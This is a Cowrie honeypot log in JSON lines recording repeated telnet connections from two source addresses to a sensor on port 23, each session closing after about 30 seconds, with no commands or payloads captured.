{"eventid":"cowrie.session.closed","duration":30.446835041046143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:48.035548Z","src_ip":"208.115.219.122","session":"dbbd5a62b488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dec4c27fc50","protocol":"telnet","message":"New connection: 208.115.219.122:46464 (10.17.0.5:23) [session: 6dec4c27fc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:49.238018Z"}
{"eventid":"cowrie.session.closed","duration":31.112414598464966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:49.330928Z","src_ip":"208.115.219.122","session":"b30d9aef4237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b7a8a655684","protocol":"telnet","message":"New connection: 208.115.219.122:46466 (10.17.0.5:23) [session: 4b7a8a655684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:49.693110Z"}
{"eventid":"cowrie.session.closed","duration":30.703317880630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:50.042332Z","src_ip":"208.115.219.122","session":"f68cdc669789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46470,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33ac8bcfd70","protocol":"telnet","message":"New connection: 208.115.219.122:46470 (10.17.0.5:23) [session: d33ac8bcfd70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:50.113754Z"}
{"eventid":"cowrie.session.closed","duration":30.62468385696411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.058992Z","src_ip":"208.115.219.122","session":"7529e41ff9d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46482,"dst_ip":"10.17.0.5","dst_port":23,"session":"92f3b8d21423","protocol":"telnet","message":"New connection: 208.115.219.122:46482 (10.17.0.5:23) [session: 92f3b8d21423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.115257Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46484,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4be4d7250a","protocol":"telnet","message":"New connection: 208.115.219.122:46484 (10.17.0.5:23) [session: 8a4be4d7250a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.185467Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04e9ae7cdbd","protocol":"telnet","message":"New connection: 208.115.219.122:46488 (10.17.0.5:23) [session: e04e9ae7cdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.212062Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46496,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c54cc8aa3b","protocol":"telnet","message":"New connection: 208.115.219.122:46496 (10.17.0.5:23) [session: 96c54cc8aa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.557795Z"}
{"eventid":"cowrie.session.closed","duration":31.261550903320312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.716992Z","src_ip":"208.115.219.122","session":"5ddbc5879cd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46498,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e375801698","protocol":"telnet","message":"New connection: 208.115.219.122:46498 (10.17.0.5:23) [session: 83e375801698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:51.826937Z"}
{"eventid":"cowrie.session.closed","duration":30.86500358581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:52.037570Z","src_ip":"208.115.219.122","session":"d0bf68e21b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc94a7e17ca","protocol":"telnet","message":"New connection: 208.115.219.122:46508 (10.17.0.5:23) [session: 3dc94a7e17ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:52.264910Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46522,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e05e00cc7b","protocol":"telnet","message":"New connection: 208.115.219.122:46522 (10.17.0.5:23) [session: 56e05e00cc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:52.473116Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46530,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c84c09c6038","protocol":"telnet","message":"New connection: 208.115.219.122:46530 (10.17.0.5:23) [session: 0c84c09c6038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:52.614069Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46542,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d791d40da45","protocol":"telnet","message":"New connection: 208.115.219.122:46542 (10.17.0.5:23) [session: 6d791d40da45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:52.811446Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"703acb33dd16","protocol":"telnet","message":"New connection: 208.115.219.122:46552 (10.17.0.5:23) [session: 703acb33dd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:52.947711Z"}
{"eventid":"cowrie.session.closed","duration":30.530486583709717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:53.114247Z","src_ip":"208.115.219.122","session":"ec564e3b406d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46562,"dst_ip":"10.17.0.5","dst_port":23,"session":"20777ed7fba5","protocol":"telnet","message":"New connection: 208.115.219.122:46562 (10.17.0.5:23) [session: 20777ed7fba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:53.216610Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46570,"dst_ip":"10.17.0.5","dst_port":23,"session":"611dedc04743","protocol":"telnet","message":"New connection: 208.115.219.122:46570 (10.17.0.5:23) [session: 611dedc04743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:53.435456Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46582,"dst_ip":"10.17.0.5","dst_port":23,"session":"349f4186b6cb","protocol":"telnet","message":"New connection: 208.115.219.122:46582 (10.17.0.5:23) [session: 349f4186b6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:53.467348Z"}
{"eventid":"cowrie.session.closed","duration":31.280170917510986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:53.726782Z","src_ip":"208.115.219.122","session":"cd2f783aeec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11096453666687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:54.032491Z","src_ip":"208.115.219.122","session":"71ad7834a152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46596,"dst_ip":"10.17.0.5","dst_port":23,"session":"81e1b7c94a4a","protocol":"telnet","message":"New connection: 208.115.219.122:46596 (10.17.0.5:23) [session: 81e1b7c94a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:54.070206Z"}
{"eventid":"cowrie.session.closed","duration":30.358792304992676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:54.083762Z","src_ip":"208.115.219.122","session":"6d27569013e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46600,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ea19ab6bd3","protocol":"telnet","message":"New connection: 208.115.219.122:46600 (10.17.0.5:23) [session: 21ea19ab6bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:54.130708Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46608,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d11fc1b3b4a","protocol":"telnet","message":"New connection: 208.115.219.122:46608 (10.17.0.5:23) [session: 7d11fc1b3b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:54.211032Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46616,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ad270f70be","protocol":"telnet","message":"New connection: 208.115.219.122:46616 (10.17.0.5:23) [session: 24ad270f70be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:54.524266Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49478,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc1011968f6f","protocol":"telnet","message":"New connection: 208.115.219.122:49478 (10.17.0.5:23) [session: fc1011968f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:55.188045Z"}
{"eventid":"cowrie.session.closed","duration":31.10717797279358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:55.195036Z","src_ip":"208.115.219.122","session":"b7c182c108b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f471babcbd","protocol":"telnet","message":"New connection: 208.115.219.122:49480 (10.17.0.5:23) [session: 65f471babcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:55.222201Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"f289a111e8c6","protocol":"telnet","message":"New connection: 208.115.219.122:49490 (10.17.0.5:23) [session: f289a111e8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:55.361444Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49498,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9b6baf5c8f","protocol":"telnet","message":"New connection: 208.115.219.122:49498 (10.17.0.5:23) [session: 0f9b6baf5c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:55.652176Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49504,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d35faaa9fb7","protocol":"telnet","message":"New connection: 208.115.219.122:49504 (10.17.0.5:23) [session: 5d35faaa9fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:55.824876Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0631ac2389b","protocol":"telnet","message":"New connection: 208.115.219.122:49520 (10.17.0.5:23) [session: e0631ac2389b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:56.102796Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49526,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f65b022b80c","protocol":"telnet","message":"New connection: 208.115.219.122:49526 (10.17.0.5:23) [session: 5f65b022b80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:56.242136Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49536,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bf77b2dbae","protocol":"telnet","message":"New connection: 208.115.219.122:49536 (10.17.0.5:23) [session: 39bf77b2dbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:56.556987Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49542,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ce21da5965a","protocol":"telnet","message":"New connection: 208.115.219.122:49542 (10.17.0.5:23) [session: 1ce21da5965a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:56.628097Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49550,"dst_ip":"10.17.0.5","dst_port":23,"session":"5707f6e46c49","protocol":"telnet","message":"New connection: 208.115.219.122:49550 (10.17.0.5:23) [session: 5707f6e46c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:56.804005Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49558,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ebe4a7f6f3","protocol":"telnet","message":"New connection: 208.115.219.122:49558 (10.17.0.5:23) [session: 62ebe4a7f6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:56.954767Z"}
{"eventid":"cowrie.session.closed","duration":30.17171883583069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:57.078534Z","src_ip":"208.115.219.122","session":"f55859d00d0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884907960891724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:57.117007Z","src_ip":"208.115.219.122","session":"992596871799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658766508102417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:57.147225Z","src_ip":"208.115.219.122","session":"5afe9e3e7ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49574,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d52a983319","protocol":"telnet","message":"New connection: 208.115.219.122:49574 (10.17.0.5:23) [session: 17d52a983319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:57.442725Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49584,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dd026a95d86","protocol":"telnet","message":"New connection: 208.115.219.122:49584 (10.17.0.5:23) [session: 1dd026a95d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:57.744636Z"}
{"eventid":"cowrie.session.closed","duration":30.08782958984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:58.049605Z","src_ip":"208.115.219.122","session":"d26d3652b139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45941185951233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:58.065377Z","src_ip":"208.115.219.122","session":"2203a4d82196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034225463867188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:58.116519Z","src_ip":"208.115.219.122","session":"f4df1504c211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49586,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c3a8a99463","protocol":"telnet","message":"New connection: 208.115.219.122:49586 (10.17.0.5:23) [session: 68c3a8a99463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.066195Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ddceaec2e7","protocol":"telnet","message":"New connection: 208.115.219.122:49592 (10.17.0.5:23) [session: f1ddceaec2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.095205Z"}
{"eventid":"cowrie.session.closed","duration":30.967540979385376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.099990Z","src_ip":"208.115.219.122","session":"eee83f2b789f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081446647644043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.118679Z","src_ip":"208.115.219.122","session":"74c523df6411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49602,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1cce9b60954","protocol":"telnet","message":"New connection: 208.115.219.122:49602 (10.17.0.5:23) [session: d1cce9b60954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.424568Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41922,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f97492c1ed5","protocol":"telnet","message":"New connection: 208.115.200.90:41922 (10.17.0.5:23) [session: 2f97492c1ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.449672Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49606,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f1c21d3579","protocol":"telnet","message":"New connection: 208.115.219.122:49606 (10.17.0.5:23) [session: a8f1c21d3579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.571801Z"}
{"eventid":"cowrie.session.closed","duration":30.956403732299805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.808878Z","src_ip":"208.115.219.122","session":"83d256975839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49614,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff63d40172dd","protocol":"telnet","message":"New connection: 208.115.219.122:49614 (10.17.0.5:23) [session: ff63d40172dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:59.977733Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49626,"dst_ip":"10.17.0.5","dst_port":23,"session":"714ee27e9e40","protocol":"telnet","message":"New connection: 208.115.219.122:49626 (10.17.0.5:23) [session: 714ee27e9e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:00.104746Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49634,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28ab482b3d2","protocol":"telnet","message":"New connection: 208.115.219.122:49634 (10.17.0.5:23) [session: a28ab482b3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:00.113307Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49640,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65b67305e29","protocol":"telnet","message":"New connection: 208.115.219.122:49640 (10.17.0.5:23) [session: a65b67305e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:00.163016Z"}
{"eventid":"cowrie.session.closed","duration":30.848209619522095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:00.392592Z","src_ip":"208.115.219.122","session":"8c53139f11d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49646,"dst_ip":"10.17.0.5","dst_port":23,"session":"71defe293999","protocol":"telnet","message":"New connection: 208.115.219.122:49646 (10.17.0.5:23) [session: 71defe293999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:00.598154Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49652,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be80126dacf","protocol":"telnet","message":"New connection: 208.115.219.122:49652 (10.17.0.5:23) [session: 4be80126dacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:00.909161Z"}
{"eventid":"cowrie.session.closed","duration":30.7441668510437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.046854Z","src_ip":"208.115.219.122","session":"93c541c3da94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25f7bd72acf","protocol":"telnet","message":"New connection: 208.115.219.122:49654 (10.17.0.5:23) [session: b25f7bd72acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.085357Z"}
{"eventid":"cowrie.session.closed","duration":30.27069115638733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.126430Z","src_ip":"208.115.219.122","session":"ea0de9f1dd7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49662,"dst_ip":"10.17.0.5","dst_port":23,"session":"73caeef2293a","protocol":"telnet","message":"New connection: 208.115.219.122:49662 (10.17.0.5:23) [session: 73caeef2293a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.138284Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49674,"dst_ip":"10.17.0.5","dst_port":23,"session":"44f81698d527","protocol":"telnet","message":"New connection: 208.115.219.122:49674 (10.17.0.5:23) [session: 44f81698d527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.212448Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41938,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c744213295","protocol":"telnet","message":"New connection: 208.115.200.90:41938 (10.17.0.5:23) [session: c7c744213295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.258255Z"}
{"eventid":"cowrie.session.closed","duration":30.563664197921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.307484Z","src_ip":"208.115.219.122","session":"17aedb74d862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49684,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea7bd2262ab","protocol":"telnet","message":"New connection: 208.115.219.122:49684 (10.17.0.5:23) [session: 9ea7bd2262ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.552869Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49696,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab76cca98ea7","protocol":"telnet","message":"New connection: 208.115.219.122:49696 (10.17.0.5:23) [session: ab76cca98ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.660536Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49702,"dst_ip":"10.17.0.5","dst_port":23,"session":"94b9bacefa1c","protocol":"telnet","message":"New connection: 208.115.219.122:49702 (10.17.0.5:23) [session: 94b9bacefa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.727725Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"61472e41c930","protocol":"telnet","message":"New connection: 208.115.219.122:49712 (10.17.0.5:23) [session: 61472e41c930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:01.797042Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49726,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3b0c41158b4","protocol":"telnet","message":"New connection: 208.115.219.122:49726 (10.17.0.5:23) [session: d3b0c41158b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:02.105024Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49740,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b9285ea5ed2","protocol":"telnet","message":"New connection: 208.115.219.122:49740 (10.17.0.5:23) [session: 8b9285ea5ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:02.467027Z"}
